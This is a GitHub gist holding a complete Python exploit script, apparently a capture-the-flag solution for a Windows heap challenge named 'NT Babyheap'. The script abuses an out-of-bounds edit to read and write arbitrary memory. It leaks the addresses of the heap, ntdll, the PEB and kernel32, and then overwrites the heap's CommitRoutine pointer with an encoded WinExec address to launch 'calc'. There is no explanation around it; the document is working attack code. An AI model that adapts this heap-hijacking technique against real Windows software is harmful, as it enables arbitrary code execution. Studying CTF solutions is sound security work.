Created
June 17, 2021 10:29
-
-
Save dialluvioso/ac2e14b917e7b133d879f765de057d7c to your computer and use it in GitHub Desktop.
NT Babyheap
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| from pwintools import * | |
| filepath = "NtBabyHeap.exe" | |
| def add(size): | |
| io.recvuntil("Enter Choice:") | |
| io.sendline("1") | |
| io.recvuntil("Enter size:") | |
| io.sendline("%d" % size) | |
| def remove(idx): | |
| io.recvuntil("Enter Choice:") | |
| io.sendline("2") | |
| io.recvuntil("Enter idx:") | |
| io.sendline("%d" % idx) | |
| def view(idx): | |
| io.recvuntil("Enter Choice:") | |
| io.sendline("3") | |
| io.recvuntil("Enter idx:") | |
| io.sendline("%d" % idx) | |
| def edit(idx, offset, size, data): | |
| io.recvuntil("Enter Choice:") | |
| io.sendline("4") | |
| io.recvuntil("Enter idx:") | |
| io.sendline("%d" % idx) | |
| io.recvuntil("Enter offset:") | |
| io.sendline("%d" % offset) | |
| io.recvuntil("Enter size") | |
| io.sendline("%d" % size) | |
| io.recvuntil("Enter data:") | |
| io.send(data) | |
| def leak_heap(): | |
| edit(0, 0, 40, "A" * 40) | |
| view(0) | |
| line = io.recvline() | |
| data = line.split()[1][40:] | |
| assert len(data) == 6 | |
| leak = u64(data.ljust(8, "\x00")) | |
| return leak | |
| def leak_heap_fix(): | |
| edit(0, 0, 24, "A" * 24) | |
| view(0) | |
| line = io.recvline() | |
| data = line.split()[1][24:] | |
| assert len(data) == 6 | |
| qword1 = list(data) + [ "\x00" ] * 2 | |
| edit(0, 0, 31, "A" * 31) | |
| view(0) | |
| line = io.recvline() | |
| data = line.split()[1][31:] | |
| qword1[7] = data[0] | |
| qword1 = u64("".join(qword1)) | |
| print("qword1 is %lx" % qword1) | |
| edit(0, 0, 41, "A" * 41) | |
| view(0) | |
| line = io.recvline() | |
| data = line.split()[1][41:] | |
| qword2 = [ "\x00" ] + list(data) + [ "\x00" ] * 2 | |
| qword2 = u64("".join(qword2)) | |
| print("qword2 is %lx" % qword2) | |
| edit(0, 0, 56, "A" * 56) | |
| view(0) | |
| line = io.recvline() | |
| data = line.split()[1][56:] | |
| qword3 = list(data) + [ "\x00" ] * 2 | |
| edit(0, 0, 63, "A" * 63) | |
| view(0) | |
| line = io.recvline() | |
| data = line.split()[1][63:] | |
| qword3[7] = data[0] | |
| qword3 = u64("".join(qword3)) | |
| print("qword3 is %lx" % qword3) | |
| qword4 = u64(data[25:].ljust(8, "\x00")) | |
| print("qword4 is %lx" % qword4) | |
| edit(0, 0, 96, "A" * 96) | |
| view(0) | |
| line = io.recvline() | |
| data = line.split()[1][96:] | |
| ret = u64(data.ljust(8, "\x00")) | |
| edit(0, 24, 72, p64(qword1) + p64(0x18) + p64(qword2) + p64(0) \ | |
| + p64(qword3) + "B" * 24 + p64(qword4)) | |
| print("fixed heap data structures!") | |
| return ret | |
| def read64(addr, n=6): | |
| edit(0, 40, 8, p64(addr)) | |
| view(1) | |
| line = io.recvline() | |
| data = line.split()[1] | |
| assert len(data) == n or len(data) == 8 | |
| data = data.ljust(8, "\x00") | |
| return u64(data) | |
| def write64(addr, val): | |
| edit(0, 40, 8, p64(addr)) | |
| edit(1, 0, 8, p64(val)) | |
| def write32(addr, val): | |
| edit(0, 40, 8, p64(addr)) | |
| edit(1, 0, 4, p32(val)) | |
| def setup(): | |
| add(24) | |
| add(24) | |
| edit(0, 0, 24, "A" * 24) | |
| edit(1, 0, 24, "B" * 24) | |
| edit(0, 0xFFFFFFE0, 0x8, p64(0x100)) | |
| OFFSET_NTDLL = 0x163dd0 | |
| OFFSET_START = 0x1794 | |
| OFFSET_READFILE = 0x3000 | |
| OFFSET_COMMIT_ROUTINE = 0x168 | |
| OFFSET_AVAILABLE_VIEWS = 0x5034 | |
| # x-ref ListHead in LdrEnumerateLoadedModules | |
| ntdll_InLoadOrderModuleList = 0x1653D0 | |
| ntdll_peb = 0x165348 | |
| kernel32_ReadFile = 0x22410 | |
| kernel32_WinExec = 0x5E800 | |
| io = Process(filepath) | |
| setup() | |
| chunk1 = leak_heap() | |
| print("chunk1 at %#lx" % chunk1) | |
| heap = chunk1 & ~(0x10000-1) | |
| print("heap at %#lx" % heap) | |
| ntdll = read64(heap + 0x2c0) - OFFSET_NTDLL | |
| print("ntdll at %#lx" % ntdll) | |
| io.close() | |
| io = Process(filepath) | |
| setup() | |
| InLoadOrderModuleList = read64(ntdll + ntdll_InLoadOrderModuleList) | |
| print("InLoadOrderModuleList at %#lx" % InLoadOrderModuleList) | |
| ntbabyheap = read64(InLoadOrderModuleList + 0x38) - OFFSET_START | |
| print("ntbabyheap at %#lx" % ntbabyheap) | |
| write32(ntbabyheap + OFFSET_AVAILABLE_VIEWS, 0xFFFFFFFF) | |
| print("modified available views") | |
| peb = read64(ntdll + ntdll_peb, n=5) - 0x80 | |
| print("peb at %#lx" % peb) | |
| kernel32 = read64(ntbabyheap + OFFSET_READFILE) - kernel32_ReadFile | |
| print("kernel32 at %#lx" % kernel32) | |
| winexec = kernel32 + kernel32_WinExec | |
| print("WinExec at %#lx" % winexec) | |
| heap = leak_heap_fix() & ~(0x10000-1) | |
| print("new heap at %#lx" % heap) | |
| RtlHeapKey = read64(heap + 0x168) | |
| print("RtlHeapKey is %#lx" % RtlHeapKey) | |
| write64(heap + OFFSET_COMMIT_ROUTINE, winexec ^ RtlHeapKey) | |
| print("successfully overwrote heap's CommitRoutine") | |
| write64(heap, 0x636c6163) | |
| print("triggering callback...") | |
| add(0x2000) # large allocation needed | |
| io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment